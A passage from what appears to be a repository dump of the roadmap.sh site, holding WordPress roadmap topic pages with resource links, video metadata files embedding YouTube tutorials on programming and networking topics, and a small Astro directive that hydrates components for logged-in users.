    "content": "# WordPress REST API\n\nThe WordPress REST API is an interface that allows other applications to interact with your WordPress site by sending and receiving data in a standardized way. It uses HTTP requests (like GET, POST, PUT, DELETE) to access and manipulate WordPress content, users, media, and other data. This enables developers to build custom applications, integrate WordPress with other systems, and create headless WordPress setups.\n\nVisit the following resources to learn more:\n\n- [@official@REST API Handbook](https://developer.wordpress.org/rest-api/)\n- [@official@REST API Docs](https://developer.wordpress.com/docs/api/)\n- [@official@Using the WordPress REST API](https://learn.wordpress.org/tutorial/using-the-wordpress-rest-api/)\n- [@official@Other WordPress APIs](https://codex.wordpress.org/WordPress_APIs)\n- [@article@The Complete Guide to WordPress REST API Basics](https://kinsta.com/blog/wordpress-rest-api/)\n- [@video@The WordPress REST API](https://www.youtube.com/watch?v=u04-vaaDS2g)\n- [@video@Using the WordPress REST API](https://www.youtube.com/watch?v=SdwFRdcAlH0)"
  },
  {
    "path": "src/data/roadmaps/wordpress/content/wordpresscom--wordpressorg@k9-YjpBsN8ID0haGR6ucq.md",
    "content": "# WordPress.com vs. WordPress.org\n\nWordPress offers two distinct platforms: [WordPress.com](http://WordPress.com) and [WordPress.org](http://WordPress.org). [WordPress.com](http://WordPress.com) is a hosted platform where WordPress handles the server and software, offering varying plans with different features. [WordPress.org](http://WordPress.org), on the other hand, is the self-hosted version of WordPress, requiring you to download the software and manage your own hosting, giving you complete control and flexibility.\n\nVisit the following resources to learn more:\n\n- [@official@WordPress.com vs. WordPress.org](https://wordpress.com/support/com-vs-org/)\n- [@video@WordPress.org VS WordPress.com: The Confusing Differences Explained!](https://www.youtube.com/watch?v=kD_Db3TCno0)\n- [@video@Should You Use WordPress.com? | WordPress.com Honest Review](https://www.youtube.com/watch?v=tou8TZVwE0M)"
  },
  {
    "path": "src/data/roadmaps/wordpress/content/workflows--automation@5IJERQdGXAGLi7GDDBBUP.md",
    "content": "# Workflows & Automation\n\nWorkflows and automation involve streamlining repetitive tasks and processes to improve efficiency and reduce manual effort. This often includes setting up triggers and actions that automatically execute based on specific events or conditions. By automating tasks, you can free up time to focus on more strategic initiatives and ensure consistency in your operations.\n\nVisit the following resources to learn more:\n\n- [@article@Advanced WordPress automation workflows for agencies](https://kinsta.com/blog/wordpress-workflow-automation/)\n- [@article@Best WordPress Integrations for Workflow Automation](https://pressable.com/blog/best-wordpress-workflow-automation-integrations/)"
  },
  {
    "path": "src/data/roadmaps/wordpress/content/working-with-databases@GzR7xWWm3m1laoQrQmbDZ.md",
    "content": "# Working with Databases in Advanced Plugins\n\nYou can enhance the functionalities of plugins by interacting with the WordPress database to store, retrieve, update, and delete data. This allows plugins to manage custom data structures beyond the standard WordPress posts and metadata, enabling features like custom user profiles, complex product catalogs, or specialized data tracking. By using WordPress's built-in database functions and classes, developers can ensure compatibility and security while building powerful and flexible plugin functionalities."
  },
  {
    "path": "src/data/roadmaps/wordpress/content/wp-cli@CNWRqhsaWK6xrIDvN564O.md",
    "content": "# WP-CLI\n\nWP-CLI is a command-line interface for WordPress. It allows you to manage WordPress installations, update plugins and themes, publish posts, and perform many other administrative tasks without using a web browser. It's a powerful tool for developers and system administrators who need to automate WordPress management.\n\nVisit the following resources to learn more:\n\n- [@official@WP-CLI](https://wp-cli.org/)\n- [@official@WP-CLI Commands](https://developer.wordpress.org/cli/commands/)\n- [@official@Quick Start](https://make.wordpress.org/cli/handbook/guides/quick-start/)\n- [@article@How to Use the WordPress Command Line Interface – WP-CLI Tutorial](https://www.freecodecamp.org/news/how-to-use-wordpress-cli/)\n- [@video@The Only WP CLI Tutorial You’ll Ever Need](https://www.youtube.com/watch?v=9E1lyVyh4xc)"
  },
  {
    "path": "src/data/roadmaps/wordpress/content/wp_debug@InInDsldD3V7MHYCV7c89.md",
    "content": "# WP_DEBUG\n\n`WP_DEBUG` is a PHP constant in WordPress that, when enabled, activates the debugging mode. This mode displays PHP errors, notices, and warnings on your website, which are normally hidden. It's a valuable tool for developers to identify and fix issues within their WordPress themes, plugins, or core installation.\n\nVisit the following resources to learn more:\n\n- [@official@Debugging in WordPress](https://developer.wordpress.org/advanced-administration/debug/debug-wordpress/)\n- [@article@A Complete Guide to WordPress Debugging (Enable WP_DEBUG + Other Tools)](https://kinsta.com/blog/wordpress-debug/)\n- [@article@How To Enable WP_DEBUG Mode In WordPress](https://instawp.com/how-to-enable-wp-debug-mode-in-wordpress/)\n- [@video@Debugging in WordPress](https://www.youtube.com/watch?v=gY3htjypHL0)\n- [@video@The built-in WordPress debugging options](https://www.youtube.com/watch?v=wCh2_LLYC2Q)"
  },
  {
    "path": "src/data/roadmaps/wordpress/content/xampp@Giqhdf6bmqsgEkCZ-aa65.md",
    "content": "# XAMPP\n\nXAMPP is a free and open-source cross-platform web server solution stack package, consisting primarily of the Apache HTTP Server, MariaDB database, and interpreters for scripts written in the PHP and Perl programming languages. It allows you to create a local server environment on your computer, enabling you to develop and test websites and web applications before deploying them to a live server. This is particularly useful for WordPress development, as it provides a convenient way to build and experiment with WordPress sites offline.\n\nVisit the following resources to learn more:\n\n- [@official@XAMPP](https://www.apachefriends.org/)\n- [@official@Installing XAMPP](https://make.wordpress.org/core/handbook/tutorials/installing-wordpress-locally/installing-xampp/)\n- [@article@How to Use XAMPP: A 3-Step Guide to Setting Up a Local WordPress Site](https://www.hostinger.com/uk/tutorials/how-to-use-xampp-wordpress)\n- [@video@How to Install WordPress locally in Xampp Localhost on Windows 10/11 Complete Guide](https://www.youtube.com/watch?v=6M5Unq3Vbhg)\n- [@video@How to Install WordPress on LocalHost (Xampp)](https://www.youtube.com/watch?v=gXA3L6Vb9nk)"
  },
  {
    "path": "src/data/roadmaps/wordpress/wordpress.md",
    "content": "---\nrenderer: 'editor'\n---\n"
  },
  {
    "path": "src/data/videos/acid-explained.md",
    "content": "---\ntitle: 'ACID Explained'\ndescription: 'Learn what it means for a database to be ACID compliant with examples.'\nduration: '5 minutes'\nisNew: false\ndate: 2021-09-26\nauthorId: 'kamran'\nsitemap:\n  priority: 0.7\n  changefreq: 'weekly'\ntags:\n  - 'video'\n  - 'video-sitemap'\n---\n\n<iframe class=\"w-full aspect-video mb-5\" src=\"https://www.youtube.com/embed/yaQ5YMWkxq4\" title=\"Acid Explained with Examples\"></iframe>\n"
  },
  {
    "path": "src/data/videos/all-about-http-caching.md",
    "content": "---\ntitle: 'All about HTTP Caching'\ndescription: 'Learn what is HTTP caching, places for caching and different caching headers.'\nduration: '13 minutes'\nisNew: false\ndate: 2020-10-04\nauthorId: 'kamran'\nsitemap:\n  priority: 0.7\n  changefreq: 'weekly'\ntags:\n  - 'video'\n  - 'video-sitemap'\n---\n\n<iframe class=\"w-full aspect-video mb-5\" src=\"https://www.youtube.com/embed/HiBDZgTNpXY\" title=\"All about HTTP Caching\"></iframe>\n"
  },
  {
    "path": "src/data/videos/array-structure.md",
    "content": "---\ntitle: 'All about Array Data Structure'\ndescription: 'Learn everything you need to know about array data structure'\nduration: '10 minutes'\nisNew: false\ndate: 2022-01-09\nauthorId: 'kamran'\nsitemap:\n  priority: 0.7\n  changefreq: 'weekly'\ntags:\n  - 'video'\n  - 'video-sitemap'\n---\n\n<iframe class=\"w-full aspect-video mb-5\" src=\"https://www.youtube.com/embed/QJNwK2uJyGs\" title=\"Array Data Structure\"></iframe>\n"
  },
  {
    "path": "src/data/videos/arrays-and-objects-in-javascript.md",
    "content": "---\ntitle: 'Arrays and Objects in JavaScript'\ndescription: 'Learn how to manipulate arrays and objects in JavaScript.'\nduration: '12 minutes'\nisNew: false\ndate: 2020-05-09\nauthorId: 'kamran'\nsitemap:\n  priority: 0.7\n  changefreq: 'weekly'\ntags:\n  - 'video'\n  - 'video-sitemap'\n---\n\n<iframe class=\"w-full aspect-video mb-5\" src=\"https://www.youtube.com/embed/n3NKGsM3iEw\" title=\"Arrays and Objects in JavaScript\"></iframe>\n"
  },
  {
    "path": "src/data/videos/async-javascript.md",
    "content": "---\ntitle: 'Asynchronous JavaScript'\ndescription: 'Learn how to write asynchronous JavaScript using Async/Await'\nduration: '15 minutes'\nisNew: false\ndate: 2021-11-14\nauthorId: 'kamran'\nsitemap:\n  priority: 0.7\n  changefreq: 'weekly'\ntags:\n  - 'video'\n  - 'video-sitemap'\n---\n\n<iframe class=\"w-full aspect-video mb-5\" src=\"https://www.youtube.com/embed/VyIK6SV5f7o\" title=\"Asynchronous JavaScript\"></iframe>\n"
  },
  {
    "path": "src/data/videos/basic-authentication.md",
    "content": "---\ntitle: 'Basic Authentication'\ndescription: 'Learn everything you need to know about basic authentication'\nduration: '5 minutes'\nisNew: false\ndate: 2022-10-01\nauthorId: 'kamran'\nsitemap:\n  priority: 0.7\n  changefreq: 'weekly'\ntags:\n  - 'video'\n  - 'video-sitemap'\n---\n\n<iframe class=\"w-full aspect-video mb-5\" src=\"https://www.youtube.com/embed/mwccHwUn7Gc\" title=\"Basic Authentication | Authentication Series\"></iframe>\n"
  },
  {
    "path": "src/data/videos/basics-of-authentication.md",
    "content": "---\ntitle: 'Basics of Authentication'\ndescription: 'Learn everything you need to know about authentication with this Authentication Series'\nduration: '5 minutes'\nisNew: false\ndate: 2022-09-21\nauthorId: 'kamran'\nsitemap:\n  priority: 0.7\n  changefreq: 'weekly'\ntags:\n  - 'video'\n  - 'video-sitemap'\n---\n\n<iframe class=\"w-full aspect-video mb-5\" src=\"https://www.youtube.com/embed/Mcyt9SrZT6g\" title=\"Basics of Authentication\"></iframe>\n"
  },
  {
    "path": "src/data/videos/big-o-notation.md",
    "content": "---\ntitle: 'Big O Notation'\ndescription: 'Learn what the Big-O notation is and how to calculate the time complexity of an algorithm.'\nduration: '8 minutes'\nisNew: false\ndate: 2021-10-25\nauthorId: 'kamran'\nsitemap:\n  priority: 0.7\n  changefreq: 'weekly'\ntags:\n  - 'video'\n  - 'video-sitemap'\n---\n\n<iframe class=\"w-full aspect-video mb-5\" src=\"https://www.youtube.com/embed/Z0bH0cMY0E8\" title=\"Big O Notation — Calculating Time Complexity\"></iframe>\n"
  },
  {
    "path": "src/data/videos/content-delivery-networks.md",
    "content": "---\ntitle: 'Content Delivery Networks'\ndescription: 'Learn what the CDNs are and the difference between push CDN vs pull CDN.'\nduration: '4 minutes'\nisNew: false\ndate: 2020-09-26\nauthorId: 'kamran'\nsitemap:\n  priority: 0.7\n  changefreq: 'weekly'\ntags:\n  - 'video'\n  - 'video-sitemap'\n---\n\n<iframe class=\"w-full aspect-video mb-5\" src=\"https://www.youtube.com/embed/6DXEPcXKQNY\" title=\"Content Delivery Networks\"></iframe>\n"
  },
  {
    "path": "src/data/videos/dns-explained.md",
    "content": "---\ntitle: 'DNS and how does it work?'\ndescription: 'Learn what the DNS is and how a website is found on the internet.'\nduration: '5 minutes'\nisNew: false\ndate: 2020-08-17\nauthorId: 'kamran'\nsitemap:\n  priority: 0.7\n  changefreq: 'weekly'\ntags:\n  - 'video'\n  - 'video-sitemap'\n---\n\n<iframe class=\"w-full aspect-video mb-5\" src=\"https://www.youtube.com/embed/Wj0od2ag5sk\" title=\"DNS and how does it work?\"></iframe>\n"
  },
  {
    "path": "src/data/videos/dns-records.md",
    "content": "---\ntitle: 'DNS Records'\ndescription: 'Learn what the DNS is and how a website is found on the internet.'\nduration: '6 minutes'\nisNew: false\ndate: 2020-08-31\nauthorId: 'kamran'\nsitemap:\n  priority: 0.7\n  changefreq: 'weekly'\ntags:\n  - 'video'\n  - 'video-sitemap'\n---\n\n<iframe class=\"w-full aspect-video mb-5\" src=\"https://www.youtube.com/embed/7lxgpKh_fRY\" title=\"DNS Records\"></iframe>\n"
  },
  {
    "path": "src/data/videos/floating-point-arithmetic.md",
    "content": "---\ntitle: 'Floating Point Arithmetic'\ndescription: 'Learn how ow the arithmetic operations work on floating-point numbers and why the results might be different from what you may expect.'\nduration: '4 minutes'\nisNew: false\ndate: 2021-10-10\nauthorId: 'kamran'\nsitemap:\n  priority: 0.7\n  changefreq: 'weekly'\ntags:\n  - 'video'\n  - 'video-sitemap'\n---\n\n<iframe class=\"w-full aspect-video mb-5\" src=\"https://www.youtube.com/embed/RIiq4tTt6rI\" title=\"Floating Point Arithmetic\"></iframe>\n"
  },
  {
    "path": "src/data/videos/freeze-and-seal-objects-in-javascript.md",
    "content": "---\ntitle: 'Freeze and Seal in JavaScript'\ndescription: 'Learn what is object freeze and seal in JavaScript and how to use them'\nduration: '6 minutes'\nisNew: false\ndate: 2020-10-16\nauthorId: 'kamran'\nsitemap:\n  priority: 0.7\n  changefreq: 'weekly'\ntags:\n  - 'video'\n  - 'video-sitemap'\n---\n\n<iframe class=\"w-full aspect-video mb-5\" src=\"https://www.youtube.com/embed/O3uT2l6vgZ8\" title=\"Freeze and Seal in JavaScript\"></iframe>\n"
  },
  {
    "path": "src/data/videos/frontend-explaination.md",
    "content": "---\ntitle: 'The Ultimate Frontend Developer Roadmap'\ndescription: 'Dive into our free frontend developer roadmap!'\nduration: '10 minutes'\nisNew: false\ndate: 2024-10-22\nauthorId: 'kamran'\nsitemap:\n  priority: 0.7\n  changefreq: 'weekly'\ntags:\n  - 'video'\n  - 'video-sitemap'\n---\n\n<iframe class=\"w-full aspect-video mb-5\" src=\"https://www.youtube.com/embed/w3nt4k2jZUo?si=j8l7o0ZcfmMy7zAs\" title=\"The Ultimate Frontend Developer Roadmap\"></iframe>\n"
  },
  {
    "path": "src/data/videos/graph-data-structure.md",
    "content": "---\ntitle: 'Graph Data Structure'\ndescription: 'Learn everything you need to know about the graph data structure'\nduration: '13 minutes'\nisNew: false\ndate: 2022-09-08\nauthorId: 'kamran'\nsitemap:\n  priority: 0.7\n  changefreq: 'weekly'\ntags:\n  - 'video'\n  - 'video-sitemap'\n---\n\n<iframe class=\"w-full aspect-video mb-5\" src=\"https://www.youtube.com/embed/0sQE8zKhad0\" title=\"Graph Data Structure\"></iframe>\n"
  },
  {
    "path": "src/data/videos/hash-table-data-structure.md",
    "content": "---\ntitle: 'Hash Table Data Structure'\ndescription: 'Learn everything you need to know about the hash table data structure'\nduration: '8 minutes'\nisNew: false\ndate: 2022-02-21\nauthorId: 'kamran'\nsitemap:\n  priority: 0.7\n  changefreq: 'weekly'\ntags:\n  - 'video'\n  - 'video-sitemap'\n---\n\n<iframe class=\"w-full aspect-video mb-5\" src=\"https://www.youtube.com/embed/jalSiaIi8j4\" title=\"Hash Table Data Structure\"></iframe>\n"
  },
  {
    "path": "src/data/videos/heap-data-structure.md",
    "content": "---\ntitle: 'Heap Data Structure'\ndescription: 'Learn everything you need to know about the heap data structure'\nduration: '11 minutes'\nisNew: false\ndate: 2022-08-24\nauthorId: 'kamran'\nsitemap:\n  priority: 0.7\n  changefreq: 'weekly'\ntags:\n  - 'video'\n  - 'video-sitemap'\n---\n\n<iframe class=\"w-full aspect-video mb-5\" src=\"https://www.youtube.com/embed/F_r0sJ1RqWk\" title=\"Heap Data Structure\"></iframe>\n"
  },
  {
    "path": "src/data/videos/how-to-use-css-variables.md",
    "content": "---\ntitle: 'How to use CSS Variables?'\ndescription: 'Learn how to write scalable CSS using CSS Variables.'\nduration: '5 minutes'\nisNew: false\ndate: 2020-07-03\nauthorId: 'kamran'\nsitemap:\n  priority: 0.7\n  changefreq: 'weekly'\ntags:\n  - 'video'\n  - 'video-sitemap'\n---\n\n<iframe class=\"w-full aspect-video mb-5\" src=\"https://www.youtube.com/embed/lgaxU7CRmxU\" title=\"How to use CSS Variables?\"></iframe>\n"
  },
  {
    "path": "src/data/videos/how-to-use-github-actions.md",
    "content": "---\ntitle: 'Automate with GitHub Actions'\ndescription: 'Learn how to implement CI/CD with GitHub Actions'\nduration: '6 minutes'\nisNew: false\ndate: 2020-07-13\nauthorId: 'kamran'\nsitemap:\n  priority: 0.7\n  changefreq: 'weekly'\ntags:\n  - 'video'\n  - 'video-sitemap'\n---\n\n<iframe class=\"w-full aspect-video mb-5\" src=\"https://www.youtube.com/embed/nyKZTKQS_EQ\" title=\"Automate with GitHub Actions\"></iframe>\n"
  },
  {
    "path": "src/data/videos/javascript-fetch-api.md",
    "content": "---\ntitle: 'JavaScript Fetch API'\ndescription: \"Learn how to use JavaScript's Fetch API to interact with remote API.\"\nduration: '3 minutes'\nisNew: false\ndate: 2020-08-02\nauthorId: 'kamran'\nsitemap:\n  priority: 0.7\n  changefreq: 'weekly'\ntags:\n  - 'video'\n  - 'video-sitemap'\n---\n\n<iframe class=\"w-full aspect-video mb-5\" src=\"https://www.youtube.com/embed/-ZI0ea5O2oA\" title=\"JavaScript Fetch API\"></iframe>\n"
  },
  {
    "path": "src/data/videos/linked-list-data-structure.md",
    "content": "---\ntitle: 'Linked List Data Structure'\ndescription: 'Learn everything you need to know about linked list data structure'\nduration: '11 minutes'\nisNew: false\ndate: 2022-01-31\nauthorId: 'kamran'\nsitemap:\n  priority: 0.7\n  changefreq: 'weekly'\ntags:\n  - 'video'\n  - 'video-sitemap'\n---\n\n<iframe class=\"w-full aspect-video mb-5\" src=\"https://www.youtube.com/embed/odW9FU8jPRQ\" title=\"Linked List Data Structure\"></iframe>\n"
  },
  {
    "path": "src/data/videos/load-balancers-101.md",
    "content": "---\ntitle: 'Load Balancers 101'\ndescription: 'Learn the basics of load balancers, types and different algorithms.'\nduration: '9 minutes'\nisNew: false\ndate: 2020-09-18\nauthorId: 'kamran'\nsitemap:\n  priority: 0.7\n  changefreq: 'weekly'\ntags:\n  - 'video'\n  - 'video-sitemap'\n---\n\n<iframe class=\"w-full aspect-video mb-5\" src=\"https://www.youtube.com/embed/galcDRNd5Ow\" title=\"Load Balancers 101\"></iframe>\n"
  },
  {
    "path": "src/data/videos/osi-model.md",
    "content": "---\ntitle: 'OSI Model Explained'\ndescription: 'Learn what is OSI Model and the different layers involved.'\nduration: '7 minutes'\nisNew: false\ndate: 2020-10-24\nauthorId: 'kamran'\nsitemap:\n  priority: 0.7\n  changefreq: 'weekly'\ntags:\n  - 'video'\n  - 'video-sitemap'\n---\n\n<iframe class=\"w-full aspect-video mb-5\" src=\"https://www.youtube.com/embed/dV8mjZd1OtU\" title=\"OSI Model Explained\"></iframe>\n"
  },
  {
    "path": "src/data/videos/practical-intro-to-react.md",
    "content": "---\ntitle: 'Practical Introduction to React'\ndescription: 'Learn how to create a React Application with practical example.'\nduration: '40 minutes'\nisNew: false\ndate: 2020-07-09\nauthorId: 'kamran'\nsitemap:\n  priority: 0.7\n  changefreq: 'weekly'\ntags:\n  - 'video'\n  - 'video-sitemap'\n---\n\nIn this short series of lessons, we are going to create a react app from scratch. We are mainly going to use React and Chakra UI and see how we can build an application that fetches the trending projects from GitHub's API and shows you in the form of listing.\n\nIf you want to get an idea of what we are going to be building have a look at [GitHunt](https://kamranahmed.info/githunt). Also the complete source code can be found at [@kamranahmedse/githunt](https://github.com/kamranahmedse/githunt)\n\n## Intro and Basic Setup\n\nThe video below gives you the basic introduction about the project and explains what we are going to build.\n\n<iframe class=\"w-full aspect-video mb-5\" src=\"https://www.youtube.com/embed/NyG7YJWJd6s\" title=\"Practical Introduction to React Part 1\"></iframe>\n\n## Building the Interface\n\nIn this second lesson we are going to create all the required components and the UI using Chakra UI and in the next lesson of this series we are going to start adding interactivity to our application.\n\n<iframe class=\"w-full aspect-video mb-5\" src=\"https://www.youtube.com/embed/zPqzKqjtEL4\" title=\"Practical Introduction to React Part 1\"></iframe>\n\n## Building the View Switcher\n\nIn this lesson we start adding interactivity to the interface. We will be building the view switcher where you can switch between the \"Grid View\" and the \"List View\" and in the next and last lesson of the series, we are going to integrate GitHub API and show the repositories.\n\n<iframe class=\"w-full aspect-video mb-5\" src=\"https://www.youtube.com/embed/EYzPJsJwjFg\" title=\"Practical Introduction to React Part 1\"></iframe>\n\n## Fetching Remote Data\n\nBelow is the final lesson where we complete the application by integrating the GitHub API to make the data dynamic.\n\n<iframe class=\"w-full aspect-video mb-5\" src=\"https://www.youtube.com/embed/G2IbP9B_4PU\" title=\"Practical Introduction to React Part 1\"></iframe>\n"
  },
  {
    "path": "src/data/videos/promises-in-javascript.md",
    "content": "---\ntitle: 'All about Promises in JavaScript'\ndescription: 'Learn how to write asynchronous code in JavaScript using promises.'\nduration: '8 minutes'\nisNew: false\ndate: 2020-07-20\nauthorId: 'kamran'\nsitemap:\n  priority: 0.7\n  changefreq: 'weekly'\ntags:\n  - 'video'\n  - 'video-sitemap'\n---\n\n<iframe class=\"w-full aspect-video mb-5\" src=\"https://www.youtube.com/embed/BvrkobaCVVE\" title=\"All about Promises in JavaScript\"></iframe>\n"
  },
  {
    "path": "src/data/videos/queue-data-structure.md",
    "content": "---\ntitle: 'Queue Data Structure'\ndescription: 'Learn everything you need to know about the queue data structure'\nduration: '4 minutes'\nisNew: false\ndate: 2022-02-14\nauthorId: 'kamran'\nsitemap:\n  priority: 0.7\n  changefreq: 'weekly'\ntags:\n  - 'video'\n  - 'video-sitemap'\n---\n\n<iframe class=\"w-full aspect-video mb-5\" src=\"https://www.youtube.com/embed/mDCi1lXd9hc\" title=\"Queue Data Structure\"></iframe>\n"
  },
  {
    "path": "src/data/videos/random-number-generators.md",
    "content": "---\ntitle: 'Random Number Generators'\ndescription: 'How do random number generators work?'\nduration: '8 minutes'\nisNew: false\ndate: 2021-11-03\nauthorId: 'kamran'\nsitemap:\n  priority: 0.7\n  changefreq: 'weekly'\ntags:\n  - 'video'\n  - 'video-sitemap'\n---\n\n<iframe class=\"w-full aspect-video mb-5\" src=\"https://www.youtube.com/embed/nDv3yXdD0rk\" title=\"Random Number Generators\"></iframe>\n"
  },
  {
    "path": "src/data/videos/scaling-the-unscalable.md",
    "content": "---\ntitle: 'Scaling the Unscalable'\ndescription: 'Learn the basics of System Design and understand how to build a scalable application.'\nduration: '10 minutes'\nisNew: false\ndate: 2020-07-26\nauthorId: 'kamran'\nsitemap:\n  priority: 0.7\n  changefreq: 'weekly'\ntags:\n  - 'video'\n  - 'video-sitemap'\n---\n\n<iframe class=\"w-full aspect-video mb-5\" src=\"https://www.youtube.com/embed/a2rcgzludDU\" title=\"Scaling the Unscalable\"></iframe>\n"
  },
  {
    "path": "src/data/videos/session-based-authentication.md",
    "content": "---\ntitle: 'Session Based Authentication'\ndescription: 'Learn everything you need to know about session authentication'\nduration: '2 minutes'\nisNew: false\ndate: 2022-11-02\nauthorId: 'kamran'\nsitemap:\n  priority: 0.7\n  changefreq: 'weekly'\ntags:\n  - 'video'\n  - 'video-sitemap'\n---\n\n<iframe class=\"w-full aspect-video mb-5\" src=\"https://www.youtube.com/embed/gKkBEOq_shs\" title=\"Session Based Authentication\"></iframe>\n"
  },
  {
    "path": "src/data/videos/ssh-ssl-tls.md",
    "content": "---\ntitle: 'SSH vs TLS vs SSL'\ndescription: 'Learn the difference between SSH, TLS and SSL'\nduration: '3 minutes'\nisNew: false\ndate: 2021-11-25\nauthorId: 'kamran'\nsitemap:\n  priority: 0.7\n  changefreq: 'weekly'\ntags:\n  - 'video'\n  - 'video-sitemap'\n---\n\n<iframe class=\"w-full aspect-video mb-5\" src=\"https://www.youtube.com/embed/k3rFFLmQCuY\" title=\"SSH vs TLS vs SSL\"></iframe>\n"
  },
  {
    "path": "src/data/videos/stack-data-structure.md",
    "content": "---\ntitle: 'Stack Data Structure'\ndescription: 'Learn everything you need to know about the stack data structure'\nduration: '5 minutes'\nisNew: false\ndate: 2022-02-07\nauthorId: 'kamran'\nsitemap:\n  priority: 0.7\n  changefreq: 'weekly'\ntags:\n  - 'video'\n  - 'video-sitemap'\n---\n\n<iframe class=\"w-full aspect-video mb-5\" src=\"https://www.youtube.com/embed/I5lq6sCuABE\" title=\"Stack Data Structure\"></iframe>\n"
  },
  {
    "path": "src/data/videos/system-design-101.md",
    "content": "---\ntitle: 'System Design 101'\ndescription: 'Learn about all the bits and pieces of system design.'\nduration: '7 minutes'\nisNew: false\ndate: 2020-08-08\nauthorId: 'kamran'\nsitemap:\n  priority: 0.7\n  changefreq: 'weekly'\ntags:\n  - 'video'\n  - 'video-sitemap'\n---\n\n<iframe class=\"w-full aspect-video mb-5\" src=\"https://www.youtube.com/embed/Y-Gl4HEyeUQ\" title=\"System Design 101\"></iframe>\n"
  },
  {
    "path": "src/data/videos/tcp-ip-model.md",
    "content": "---\ntitle: 'TCP/IP Model Explained'\ndescription: 'Learn what is TCP/IP Model and the different layers involved.'\nduration: '5 minutes'\nisNew: false\ndate: 2020-11-06\nauthorId: 'kamran'\nsitemap:\n  priority: 0.7\n  changefreq: 'weekly'\ntags:\n  - 'video'\n  - 'video-sitemap'\n---\n\n<iframe class=\"w-full aspect-video mb-5\" src=\"https://www.youtube.com/embed/F5rni9fr1yE\" title=\"TCP/IP Model Explained\"></iframe>\n"
  },
  {
    "path": "src/data/videos/transport-protocols-tcp-vs-udp.md",
    "content": "---\ntitle: 'Transport Protocols: TCP vs UDP'\ndescription: 'Learn about the Transport Layer of the TCP/IP model and different transport protocols.'\nduration: '10 minutes'\nisNew: false\ndate: 2020-11-21\nauthorId: 'kamran'\nsitemap:\n  priority: 0.7\n  changefreq: 'weekly'\ntags:\n  - 'video'\n  - 'video-sitemap'\n---\n\n<iframe class=\"w-full aspect-video mb-5\" src=\"https://www.youtube.com/embed/37AFBZv4_6Y\" title=\"Transport Protocols: TCP vs UDP\"></iframe>\n"
  },
  {
    "path": "src/data/videos/tree-data-structure.md",
    "content": "---\ntitle: 'Tree Data Structure'\ndescription: 'Learn everything you need to know about the tree data structure'\nduration: '8 minutes'\nisNew: false\ndate: 2022-08-11\nauthorId: 'kamran'\nsitemap:\n  priority: 0.7\n  changefreq: 'weekly'\ntags:\n  - 'video'\n  - 'video-sitemap'\n---\n\n<iframe class=\"w-full aspect-video mb-5\" src=\"https://www.youtube.com/embed/S2W3SXGPVyU\" title=\"Tree Data Structure\"></iframe>\n"
  },
  {
    "path": "src/data/videos/what-are-data-structures.md",
    "content": "---\ntitle: 'What are Data Structures?'\ndescription: 'Learn about the different data structures in this illustrated series'\nduration: '1 minute'\nisNew: false\ndate: 2021-12-12\nauthorId: 'kamran'\nsitemap:\n  priority: 0.7\n  changefreq: 'weekly'\ntags:\n  - 'video'\n  - 'video-sitemap'\n---\n\n<iframe class=\"w-full aspect-video mb-5\" src=\"https://www.youtube.com/embed/9rhT3P1MDHk\" title=\"What are Data Structures?\"></iframe>\n"
  },
  {
    "path": "src/data/videos/what-is-cap-theorem.md",
    "content": "---\ntitle: 'What is CAP Theorem?'\ndescription: 'An illustrated explanation to CAP theorem with examples and proof.'\nduration: '8 minutes'\nisNew: false\ndate: 2021-10-05\nauthorId: 'kamran'\nsitemap:\n  priority: 0.7\n  changefreq: 'weekly'\ntags:\n  - 'video'\n  - 'video-sitemap'\n---\n\n<iframe class=\"w-full aspect-video mb-5\" src=\"https://www.youtube.com/embed/_RbsFXWRZ10\" title=\"What is CAP Theorem?\"></iframe>\n"
  },
  {
    "path": "src/data/videos/what-is-dependency-injection.md",
    "content": "---\ntitle: 'What is Dependency Injection?'\ndescription: 'Learn what is dependency injection and how to write better code with the help of it.'\nduration: '3 minutes'\nisNew: false\ndate: 2020-07-04\nauthorId: 'kamran'\nsitemap:\n  priority: 0.7\n  changefreq: 'weekly'\ntags:\n  - 'video'\n  - 'video-sitemap'\n---\n\n<iframe class=\"w-full aspect-video mb-5\" src=\"https://www.youtube.com/embed/0yc2UANSDiw\" title=\"What is Dependency Injection?\"></iframe>\n"
  },
  {
    "path": "src/data/videos/what-is-dom-shadow-dom-virtual-dom.md",
    "content": "---\ntitle: 'DOM, Shadow DOM, Virtual DOM'\ndescription: 'Learn what is DOM, Shadow DOM and Virtual DOM and how they work.'\nduration: '6 minutes'\nisNew: false\ndate: 2020-07-20\nauthorId: 'kamran'\nsitemap:\n  priority: 0.7\n  changefreq: 'weekly'\ntags:\n  - 'video'\n  - 'video-sitemap'\n---\n\n<iframe class=\"w-full aspect-video mb-5\" src=\"https://www.youtube.com/embed/7Tok22qxPzQ\" title=\"DOM, Shadow DOM, Virtual DOM\"></iframe>\n"
  },
  {
    "path": "src/data/videos/what-is-eventual-consistency.md",
    "content": "---\ntitle: 'What is Eventual Consistency?'\ndescription: 'Learn about the different consistency models in distributed systems'\nduration: '5 minutes'\nisNew: false\ndate: 2021-11-30\nauthorId: 'kamran'\nsitemap:\n  priority: 0.7\n  changefreq: 'weekly'\ntags:\n  - 'video'\n  - 'video-sitemap'\n---\n\n<iframe class=\"w-full aspect-video mb-5\" src=\"https://www.youtube.com/embed/rpqsSkTIdAw\" title=\"What is Eventual Consistency?\"></iframe>\n"
  },
  {
    "path": "src/data/videos/yaml-in-depth.md",
    "content": "---\ntitle: 'YAML in Depth'\ndescription: 'Everything you need to know about YAML'\nduration: '8 minutes'\nisNew: false\ndate: 2021-10-18\nauthorId: 'kamran'\nsitemap:\n  priority: 0.7\n  changefreq: 'weekly'\ntags:\n  - 'video'\n  - 'video-sitemap'\n---\n\n<iframe class=\"w-full aspect-video mb-5\" src=\"https://www.youtube.com/embed/ImHSpwUlNVc\" title=\"YAML in Depth\"></iframe>\n"
  },
  {
    "path": "src/directives/client-authenticated.mjs",
    "content": "/**\n * @type {import('astro').ClientDirective}\n */\nexport default async (load, opts) => {\n  const isAuthenticated =\n    document.cookie.toString().indexOf('__roadmapsh_jt__') !== -1;\n  if (isAuthenticated) {\n    const hydrate = await load();\n    await hydrate();\n  }\n};\n"
  },
  {
    "path": "src/env.d.ts",
